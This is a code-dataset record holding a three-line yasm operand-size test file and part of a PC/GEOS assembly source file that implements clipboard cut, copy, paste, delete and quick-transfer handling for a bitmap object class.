pkgs/tools/yasm/src/modules/arch/x86/tests/opsize-err.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
pkgs/tools/yasm/src/modules/arch/x86/tests/opsize-err.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
mov ax,1 mov ax,word 1 mov ax,byte 1
9.25
13
0.702703
74fdcdd760f83f73006c876db3651a0f00262b92
47,107
asm
Assembly
Library/Bitmap/bitmapTransfer.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Bitmap/bitmapTransfer.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Bitmap/bitmapTransfer.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1991, 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Bitmap FILE: bitmapTransfer.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 2 jun 92 Initial Version DESCRIPTION: This file contains the routines related to bitmap cut/copy/paste RCS STAMP: $Id: bitmapTransfer.asm,v 1.1 97/04/04 17:43:16 newdeal Exp $ ------------------------------------------------------------------------------@ BitmapSelectionCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapCut %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap method for MSG_META_CLIPBOARD_CUT Called by: Pass: *ds:si = VisBitmap object ds:di = VisBitmap instance Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon May 11, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapCut method dynamic VisBitmapClass, MSG_META_CLIPBOARD_CUT .enter mov cx, handle BitmapUndoStrings mov dx, offset undoCutString call BitmapStartUndoChain mov ax, MSG_META_CLIPBOARD_COPY call ObjCallInstanceNoLock mov ax, MSG_META_DELETE call ObjCallInstanceNoLock call BitmapEndUndoChain .leave ret VisBitmapCut endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapDelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap method for MSG_META_DELETE Called by: MSG_META_DELETE Pass: *ds:si = VisBitmap object ds:di = VisBitmap instance Return: nothing Destroyed: ax,cx,dx,bp Comments: Revision History: Name Date Description ---- ------------ ----------- jon Dec 3, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapDelete method dynamic VisBitmapClass, MSG_META_DELETE uses cx,dx,bp .enter ; ; See if there's a transfer gstring ; clr cx xchg cx, ds:[di].VBI_transferGString jcxz afterGString push si mov si, cx mov di, si mov dl, GSKT_KILL_DATA call GrDestroyGString pop si afterGString: ; ; If we have a transfer bitmap, then we want to fill in ; mov di, ds:[si] add di, ds:[di].VisBitmap_offset clr cx xchg cx, ds:[di].VBI_transferBitmap jcxz afterVMFile call ClipboardGetClipboardFile ;bx <- VM file mov dx, bx afterVMFile: if 1 mov ax, MSG_VIS_BITMAP_GET_MAIN_GSTATE call ObjCallInstanceNoLock mov di, bp mov ax, GPT_CURRENT call GrTestPath pushf mov di, ds:[si] add di, ds:[di].VisBitmap_offset popf jc afterHack BitSet ds:[di].VBI_undoFlags, VBUF_HAD_SELECTION_BEFORE_LAST_ACTION afterHack: else mov di, ds:[si] add di, ds:[di].VisBitmap_offset endif mov ax, ds:[di].VBI_transferBitmapPos.P_x mov bx, ds:[di].VBI_transferBitmapPos.P_y mov di, offset DeleteSelectionCB segmov es, SEGMENT_CS, bp ; es <- vseg if XIP'ed mov bp, offset undoDeleteString call VisBitmapEditSelfInvalAll jcxz update mov bx, dx mov_tr ax, cx clr bp call VMFreeVMChain update: mov ax, MSG_VIS_BITMAP_INVALIDATE_IF_TRANSPARENT call ObjCallInstanceNoLock mov ax, MSG_VIS_BITMAP_NOTIFY_SELECT_STATE_CHANGE call ObjCallInstanceNoLock if 1 mov di, ds:[si] add di, ds:[di].VisBitmap_offset BitClr ds:[di].VBI_undoFlags, VBUF_HAD_SELECTION_BEFORE_LAST_ACTION endif .leave ret VisBitmapDelete endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DeleteSelectionCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: di - gstate with a path dx - vm file handle of save under bitmap cx - vm block handle of save under bitmap (0 for none) ax, bx - location of save under region (if any) Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Dec 3, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DeleteSelectionCB proc far .enter push ax, cx ;save loc, vm block ; ; Save stuff ; call GrSaveState ; ; Fill the path with white ; mov ax, C_WHITE call GrSetAreaColor call GrSetLineColor mov al, SDM_100 call GrSetAreaMask mov al, MM_COPY call GrSetMixMode mov cl, BITMAP_SELECTION_REGION_FILL_RULE call GrFillPath mov al, MM_NOP call GrSetMixMode call GrFillPath call GrRestoreState pop ax, cx ;save loc, vm block jcxz done call GrSaveState push ax ;save x loc mov al, SDM_100 call GrSetAreaMask mov_tr ax, cx ;ax <- vm block pop cx ;cx <- x xchg bx, dx ;bx <- vm file, dx <- y loc call VisBitmapScaleGStateByResolution mov_tr cx, ax ;cx <- vm block mov_tr dx, bx ;dx <- vm file clr ax, bx call GrDrawHugeBitmap call GrRestoreState done: .leave ret DeleteSelectionCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapSelectAll %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap method for MSG_META_SELECT_ALL Called by: MSG_META_SELECT_ALL Pass: *ds:si = VisBitmap object ds:di = VisBitmap instance Return: nothing Destroyed: ax, cx, dx, bp Comments: Revision History: Name Date Description ---- ------------ ----------- jon Dec 3, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapSelectAll method dynamic VisBitmapClass, MSG_META_SELECT_ALL .enter mov ax, MSG_VIS_BITMAP_GET_BITMAP_SIZE_IN_PIXELS call ObjCallInstanceNoLock segmov es, SEGMENT_CS, di ; es <- vseg if XIP'ed mov di, offset SelectAllCB mov ax, INVALIDATE_ENTIRE_FATBITS_WINDOW mov bp, offset undoSelectionString call VisBitmapEditSelf if 0 mov ax, MSG_VIS_BITMAP_NOTIFY_CURRENT_EDIT_FINISHED call ObjCallInstanceNoLock endif mov ax, MSG_VIS_BITMAP_SPAWN_SELECTION_ANTS call ObjCallInstanceNoLock mov ax, MSG_VIS_BITMAP_NOTIFY_SELECT_STATE_CHANGE call ObjCallInstanceNoLock .leave ret VisBitmapSelectAll endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SelectAllCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Sets the path = the passed rect (= the whole 9 yards) Pass: di - gstate cx, dx - width, height of bitmap Return: nothing Destroyed: everything (VisBitmapeditBitmap callback) Revision History: Name Date Description ---- ------------ ----------- jon Dec 3, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SelectAllCB proc far .enter mov_tr ax, cx ;save width mov cx, PCT_REPLACE call GrBeginPath mov_tr cx, ax ;cx <- width clr ax, bx if 0 dec cx dec dx endif call GrDrawRect call GrEndPath .leave ret SelectAllCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapCopy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap method for MSG_META_CLIPBOARD_COPY Called by: Pass: *ds:si = VisBitmap object ds:di = VisBitmap instance Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon May 11, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapCopy method dynamic VisBitmapClass, MSG_META_CLIPBOARD_COPY uses ax, bp .enter call VisBitmapMarkBusy call ClipboardGetClipboardFile ;bx <- VM file clr cx, dx ;center the selection call VisBitmapGenerateTransferItem ;ax <- VM block jnc markNotBusy clr bp ;not RAW, not QUICK call ClipboardRegisterItem markNotBusy: call VisBitmapMarkNotBusy mov ax, MSG_VIS_BITMAP_NOTIFY_SELECT_STATE_CHANGE call ObjCallInstanceNoLock .leave ret VisBitmapCopy endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapPaste %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap method for MSG_META_CLIPBOARD_PASTE Called by: Pass: *ds:si = VisBitmap object ds:di = VisBitmap instance Return: nothing Destroyed: ax, cx, dx, bp Revision History: Name Date Description ---- ------------ ----------- jon May 11, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapPaste method dynamic VisBitmapClass, MSG_META_CLIPBOARD_PASTE .enter mov cx, handle BitmapUndoStrings mov dx, offset undoPasteString call BitmapStartUndoChain clr ax ;not quick mov cx, CENTER_SELECTION mov dx, cx call VisBitmapPasteCommon call BitmapEndUndoChain .leave ret VisBitmapPaste endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapPasteCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: *ds:si - VisBitmap ax - ClipboardItemFlags (CIF_QUICK) cx,dx - location to paste Return: carry set if pasted carry clear if no formats supported Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jun 14, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapPasteCommon proc near uses ax, cx, dx, bp .enter call VisBitmapMarkBusy push bp mov_tr bp, ax push cx, dx call ClipboardQueryItem pop cx, dx tst_clc bp pop bp jz markNotBusy ;if no formats, done push bx, ax ;save header ; ; Check for CIF_GRAPHICS_STRING format ; push cx, dx ;save coords mov cx, MANUFACTURER_ID_GEOWORKS mov dx, CIF_GRAPHICS_STRING call ClipboardRequestItemFormat pop cx, dx ;cx,dx <- coords tst_clc ax jz pop2MarkNotBusy ; ; Set the transfer gstring ; sub sp, size VisBitmapSetTransferGStringParams mov bp, sp mov ss:[bp].VBSTGSP_vmFile, bx mov ss:[bp].VBSTGSP_vmBlock, ax mov ss:[bp].VBSTGSP_location.P_x, cx mov ss:[bp].VBSTGSP_location.P_y, dx mov ax, MSG_VIS_BITMAP_SET_TRANSFER_GSTRING call ObjCallInstanceNoLock add sp, size VisBitmapSetTransferGStringParams pop bx, ax ;bx:ax <- header stc ;pasted markNotBusy: pushf call ClipboardDoneWithItem call VisBitmapMarkNotBusy popf .leave ret pop2MarkNotBusy: pop bx, ax ;header jmp markNotBusy VisBitmapPasteCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapStartMoveCopy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Start a quick move/copy operation. CALLED BY: via MSG_META_LARGE_START_MOVE_COPY, VisTextStartMoveCopy PASS: *ds:si = Instance cx,dx - location RETURN: ax = MouseReturnFlags DESTROYED: cx, dx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 3/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapStartMoveCopy method dynamic VisBitmapClass, MSG_META_START_MOVE_COPY .enter ; ; See if the event is in our selected path ; call ConvertVisToBitmapCoords mov ax, MSG_VIS_BITMAP_GET_MAIN_GSTATE call ObjCallInstanceNoLock mov di, bp tst di jz handledDone mov_tr ax, cx mov bx, dx mov cl, BITMAP_SELECTION_REGION_FILL_RULE call GrTestPointInPath jnc replay if 1 ; ; Start the UI part of the quick move ; mov_tr cx, ax ;cx <- x push si ;save instance chunk handle. mov bx, ds:[LMBH_handle] mov di, si mov si, mask CQTF_NOTIFICATION mov ax, CQTF_MOVE test bp, mask UIFA_COPY shl 8 jz startQuick mov ax, CQTF_COPY startQuick: call ClipboardStartQuickTransfer pop si ;restore instance chunk handle. jc handledDone ; quick-transfer already in ; progress, can't start ; another else ; ; Start the UI part of the quick move ; mov_tr cx, ax ;cx <- x mov ax, CQTF_MOVE test bp, mask UIFA_COPY shl 8 jz gotCursor mov ax, CQTF_COPY gotCursor: ; ; Calculate the region for this pup ; push cx, dx ;mouse loc. push ax ;save CQTF pushdw dssi ;save VisBitmap ; ; We need to get the fptr to the video driver if we want ; mov ax, MSG_VIS_VUP_QUERY mov cx, VUQ_VIDEO_DRIVER call ObjCallInstanceNoLock mov dx, mask CQTF_NOTIFICATION ;assume no path jnc afterRegion mov_tr bx, ax ; bx <- driver handle call GeodeInfoDriver ; ds:[si] = DriverInfoStruct movdw dxax, ds:[si].DIS_strategy ; ; Get our lil' region ; mov cl, BITMAP_SELECTION_REGION_FILL_RULE call GrGetPathRegion jc afterRegion ; ; Lock the region so that it's in memory for ; ClipboardStartQuickTransfer ; push ax ;save strategy call MemLock pop ax ;dxax <- driver strategy popdw dssi ;*ds:si <- VisBitmap pop cx ;cx <- CQTF sub sp, size ClipboardQuickTransferRegionInfo mov bp, sp movdw ss:[bp].CQTRI_strategy,dxax mov ss:[bp].CQTRI_region.handle, bx clr ss:[bp].CQTRI_region.offset movdw ss:[bp].CQTRI_regionPos, ss:[bp][(size ClipboardQuickTransferRegionInfo)], ax mov dx, mask CQTF_NOTIFICATION or mask CQTF_USE_REGION jmp startQuick afterRegion: popdw dssi ;*ds:si <- VisBitmap pop cx, bx, di ;cx <- cursor, bx,di <- mouse startQuick: mov bx, ds:[LMBH_handle] ;^lbx:di <- VisBitmap mov di, si mov_tr ax, cx ;ax <- cursor mov si, dx ;si <- flags clr cx, dx call ClipboardStartQuickTransfer lahf ;save return flags test si, mask CQTF_USE_REGION jz afterRegionCleanup ; ; Free the region we allocated if 0 ;maybe not, as this caused hideous death mov bx, ss:[bp].CQTRI_region.handle call MemFree endif add sp, size ClipboardQuickTransferRegionInfo afterRegionCleanup: sahf ;restore flags mov si, di ;*ds:si <- VisBitmap jc handledDone ; quick-transfer already in ; progress, can't start ; another endif ; ; Register the transfer item ; call ClipboardGetClipboardFile ;bx = VM file call VisBitmapGenerateTransferItem ;ax = VM block mov bp, mask CIF_QUICK ;not RAW, QUICK call ClipboardRegisterItem jc handledDone ; ; Prepare to use the mouse ; (will be released when mouse leaves visible bounds -- on a ; MSG_VIS_LOST_GADGET_EXCL or MSG_META_VIS_LEAVE) ; call VisTakeGadgetExclAndGrab ; ; sucessfully started UI part of quick-transfer and sucessfully ; registered item, now allow pointer to roam around globally for ; feedback ; mov ax, MSG_VIS_VUP_ALLOW_GLOBAL_TRANSFER call ObjCallInstanceNoLock mov cx, handle BitmapUndoStrings mov dx, offset undoTransferString call BitmapStartUndoChain ;will be closed on notify handledDone: mov ax, mask MRF_PROCESSED done: .leave ret replay: mov ax, mask MRF_REPLAY jmp done VisBitmapStartMoveCopy endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapEndMoveCopy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Finish a quick move/copy operation. CALLED BY: via MSG_META_LARGE_END_MOVE_COPY, VisTextEndMoveCopy PASS: *ds:si = Instance cx,dx - location bp high - UIFA RETURN: nothing DESTROYED: everything PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jcw 3/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapEndMoveCopy method dynamic VisBitmapClass, MSG_META_END_MOVE_COPY .enter call ConvertVisToBitmapCoords push cx, dx ;save coords ; ; if we were doing feedback, stop it now ; call VisReleaseMouse ; Release mouse ; ; Find the generic window group that this object is in, and bring ; the window to the top. ; push ds:[LMBH_handle], si ; Save object OD mov ax, MSG_GEN_BRING_TO_TOP mov bx, segment GenClass mov si, offset GenClass mov di, mask MF_RECORD call ObjMessage ; Create ClassedEvent mov cx, di ; cx <- handle to ClassedEvent pop bx, si ; Restore object OD clr di mov ax, MSG_VIS_VUP_CALL_WIN_GROUP ; Send the message upward call ObjMessage ; ; Bring app itself to top of heap ; push bp ;save UIFA mov ax, MSG_GEN_BRING_TO_TOP call GenCallApplication ; ; Make sure we can paste the transfer item ; mov bp, mask CIF_QUICK call VisBitmapTestSupportedTransferFormats mov bx, cx pop cx ;cx <- UIFA mov bp, mask CQNF_NO_OPERATION ;assume no op jnc endQuick xchg cx, bp ;cx <- no op, ;bp <- UIFA tst bx jz doPaste ; ; Source is pasteable, so send it ; a MSG_META_DELETE to clear its selection ; if we're doing a move (instead of a copy) ; mov cx, mask CQNF_MOVE or mask CQNF_SOURCE_EQUAL_DEST cmp dx, si jne different cmp bx, ds:[LMBH_handle] je checkOverride different: mov cx, mask CQNF_COPY checkOverride: test bp, mask UIFA_MOVE shl 8 jz checkCopyOverride BitClr cx, CQNF_COPY BitSet cx, CQNF_MOVE checkCopyOverride: test bp, mask UIFA_COPY shl 8 jz afterCopyOverride BitClr cx, CQNF_MOVE BitSet cx, CQNF_COPY afterCopyOverride: test cx, mask CQNF_MOVE jz doPaste xchg si, dx mov ax, MSG_META_DELETE mov di, mask MF_FIXUP_DS call ObjMessage mov si, dx doPaste: ; ; Paste it! ss:bp <- location ; mov ax, mask CIF_QUICK mov bp, cx ;bp <- ClipboardQuickNotifyFlags pop cx, dx ;cx,dx <- coords push cx, dx call VisBitmapPasteCommon endQuick: pop cx, dx ; ; stop UI part of quick-transfer (will clear default quick-transfer ; cursor, etc.) ; (this is done regardless of whether we accepted an item or not) ; call ClipboardEndQuickTransfer ; Finish up mov ax, mask MRF_PROCESSED ; Signal: handled the event .leave ret VisBitmapEndMoveCopy endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapNotifyQuickTransferConcluded %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Terminates the undo chain that was begun on the start move copy. PASS: bp - ClipboardQuickNotifyFlags RETURN: nothing DESTROYED: ax, cx, dx, bp REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10 dec 1992 initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapNotifyQuickTransferConcluded method dynamic VisBitmapClass, MSG_META_CLIPBOARD_NOTIFY_QUICK_TRANSFER_CONCLUDED .enter call BitmapEndUndoChain call VisReleaseMouse if 0 mov ax, MSG_VIS_BITMAP_NOTIFY_CURRENT_EDIT_FINISHED call ObjCallInstanceNoLock endif .leave ret VisBitmapNotifyQuickTransferConcluded endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapTestSupportedTransferFormats %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Tests for "pasteable" formats on the clipboard Pass: bp - ClipboardItemFlags (CIF_QUICK) Return: carry set if pasteable format exists ^lcx:dx - owner carry clear if no pasteable format exists cx,dx - trashed Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 20, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapTestSupportedTransferFormats proc far uses ax, bx, bp .enter call ClipboardQueryItem tst_clc bp jz doneWithTransfer push cx, dx ;save owner OD mov cx, MANUFACTURER_ID_GEOWORKS mov dx, CIF_GRAPHICS_STRING call ClipboardTestItemFormat cmc pop cx, dx ;^lcx:dx <- owner doneWithTransfer: pushf call ClipboardDoneWithItem popf .leave ret VisBitmapTestSupportedTransferFormats endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapCreateGStringTransferFormat %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap method for MSG_VIS_BITMAP_CREATE_GSTRING_TRANSFER_FORMAT Called by: Pass: *ds:si = VisBitmap object ds:di = VisBitmap instance bp - vm file handle cx,dx - origin Return: carry set if successful ax - vm block handle of transfer item cx,dx - wdith, height of transfer Destroyed: nothing Revision History: Name Date Description ---- ------------ ----------- jon Jun 4, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapCreateGStringTransferFormat method dynamic VisBitmapClass, MSG_VIS_BITMAP_CREATE_GSTRING_TRANSFER_FORMAT vmFile local hptr push bp originX local word push cx originY local word push dx visBitmapChunk local word push si bitmapGState local hptr subBitmapFile local hptr subBitmapBlock local word pathLeft local word pathTop local word .enter ; Create gstring in vm file ; mov bx, ss:[vmFile] ;bx <- file handle mov_tr ax,si ;body chunk mov cl, GST_VMEM call GrCreateGString push si ;vm block handle mov_tr si,ax ;body chunk mov bx, ds:[si] add bx, ds:[bx].VisBitmap_offset tst ds:[bx].VBI_transferGString jz createNew ; ; The VisBitmap already has a transfer gstring, so we'll ; use it. ; mov si, ds:[bx].VBI_transferGString ; ; The caller wants the transfer item centered about the origin, ; and we're sitting with a gstring centered around a different ; origin, so spew the old into the new at the appropriate offset ; mov ax, ds:[bx].VBI_transferGStringPos.P_x sub ax, ss:[originX] mov bx, ds:[bx].VBI_transferGStringPos.P_y sub bx, ss:[originY] clr dx call GrDrawGString call GrEndGString call GrGetGStringBounds sub cx, ax ;cx <- width sub dx, bx ;dx <- height jmp popBlockSuccess createNew: ; ; Set the gstring's clip path to our clip path ; push di ;save gstring push bp ;save locals mov ax, MSG_VIS_BITMAP_MAKE_SURE_NO_SELECTION_ANTS call ObjCallInstanceNoLock mov ax, MSG_VIS_BITMAP_GET_MAIN_GSTATE call ObjCallInstanceNoLock mov di, bp pop bp ;ss:[bp] <- locals mov ss:[bitmapGState], di mov ax, GPT_CURRENT call GrGetPathBounds LONG jc pop2Error ; ; Create a "sub" bitmap so that the transfer item doesn't ; store the whole thing ; mov ss:[pathLeft], ax mov ss:[pathTop], bx sub cx, ax ;cx <- width sub dx, bx ;dx <- height inc cx ;another "what the hell" inc dx ;that "fixes" a bug mov di, ds:[si] add di, ds:[di].VisBitmap_offset test ds:[di].VBI_undoFlags, mask VBUF_MOUSE_EVENTS_IN_BITMAP_COORDS pushf BitSet ds:[di].VBI_undoFlags, VBUF_MOUSE_EVENTS_IN_BITMAP_COORDS call BitmapGetBitmap ;bx <- bitmap handle popf jnz translate push di mov di, ds:[si] add di, ds:[di].VisBitmap_offset BitClr ds:[di].VBI_undoFlags, VBUF_MOUSE_EVENTS_IN_BITMAP_COORDS pop di translate: ; ; Apply the reverse translation of the passed origin ; mov ss:[subBitmapFile], bx mov ss:[subBitmapBlock], ax mov_tr ax, dx ;ax <- height pop di ;di <- gstring push cx, ax ;save width, height mov cx, ss:[originX] mov dx, ss:[originY] neg cx neg dx call GrSaveTransform push cx, dx clr cx, dx call VisBitmapScaleGStateByInverseResolution pop dx, bx clr ax, cx call GrApplyTranslation ; ; Set the clip path in the gstring. ; push di ;save gstring mov di, ss:[bitmapGState] mov bx, GPT_CURRENT ; get the current path call GrGetPath call MemLock xchg bx, ax ;bx <- gstring seg. ;ax <- gstring handle clr si ; GString => BX:SI mov cl, GST_PTR call GrLoadGString ; GString handle => SI pop di ; di <- transfer gstring push ax ; save mem handle clr ax,bx,dx ; GSControl => DX call GrDrawGString ; re-create the path call GrSaveState mov cx, PCT_INTERSECTION mov dl, BITMAP_SELECTION_REGION_FILL_RULE call GrSetClipPath pop bx ; bx <- mem handle mov dl, GSKT_LEAVE_DATA push di clr di call GrDestroyGString pop di call MemFree ; free the path-GString handle ; ; Draw the bitmap to the gstring ; mov cx, ss:[pathLeft] mov dx, ss:[pathTop] mov si, ss:[visBitmapChunk] call VisBitmapScaleGStateByResolution mov dx, ss:[subBitmapFile] mov cx, ss:[subBitmapBlock] clr ax, bx call GrDrawHugeBitmap call GrRestoreState call GrRestoreTransform mov bx, dx mov ax, cx push bp clr bp call VMFreeVMChain pop bp ; ; End the string ; call GrEndGString ; Destroy and kill the gstring for now ; though we will eventually want to return it as a vm chain ; mov dl,GSKT_LEAVE_DATA mov si, di ;si <- GString handle call GrDestroyGString pop cx, dx ;cx,dx <- width, height popBlockSuccess: pop ax ;ax <- block handle stc done: .leave ret pop2Error: pop ax, ax clc jmp done VisBitmapCreateGStringTransferFormat endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapCreateBitmapTransferFormatFromGString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Utility routine to construct a bitmap from the passed gstring Pass: *ds:si = VisBitmap object bp - vm file handle ax - vm block handle of gstring Return: ax - vm block handle of huge bitmap cx, dx - dimensions Destroyed: nothing Revision History: Name Date Description ---- ------------ ----------- jon Jun 4, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapCreateBitmapTransferFormatFromGString proc near uses bx, di, bp, si .enter ; ; Load the GString so we can play it ; push si ;save bitmap chunk mov cl, GST_VMEM mov si, ax mov bx, bp call GrLoadGString ;si <- gstring clr di, dx call GrGetGStringBounds mov di, si ;di <- gstring pop si ;*ds:si <- VisBitmap ; ; Calculate the dimensions ; sub cx, ax sub dx, bx push cx, dx ;save dimensions push ax, bx ;save coords ; ; Allocate our bitmap ; mov bx, bp ;bx <- vm file push di ;save gstring call CreateBitmapCommon pop si ;si <- gstring pop dx, bx ;dx,bx <- coords push ax ;save block handle clr ax, cx ; ; Apply the inverse translation so that everything comes out nice ; negwwf dxcx negwwf bxax call GrApplyTranslation call BitmapWriteGStringToBitmapCommon clr di mov dl, GSKT_LEAVE_DATA call GrDestroyGString pop ax ;ax <- vm block handle pop cx, dx ;cx,dx <- dimensions .leave ret VisBitmapCreateBitmapTransferFormatFromGString endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BitmapGetBitmap %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Returns a bitmap that is a sub portion of the VisBitmap's bitmap. This routine exists solely due to the fact that GrGetBitmap can't return a masked bitmap 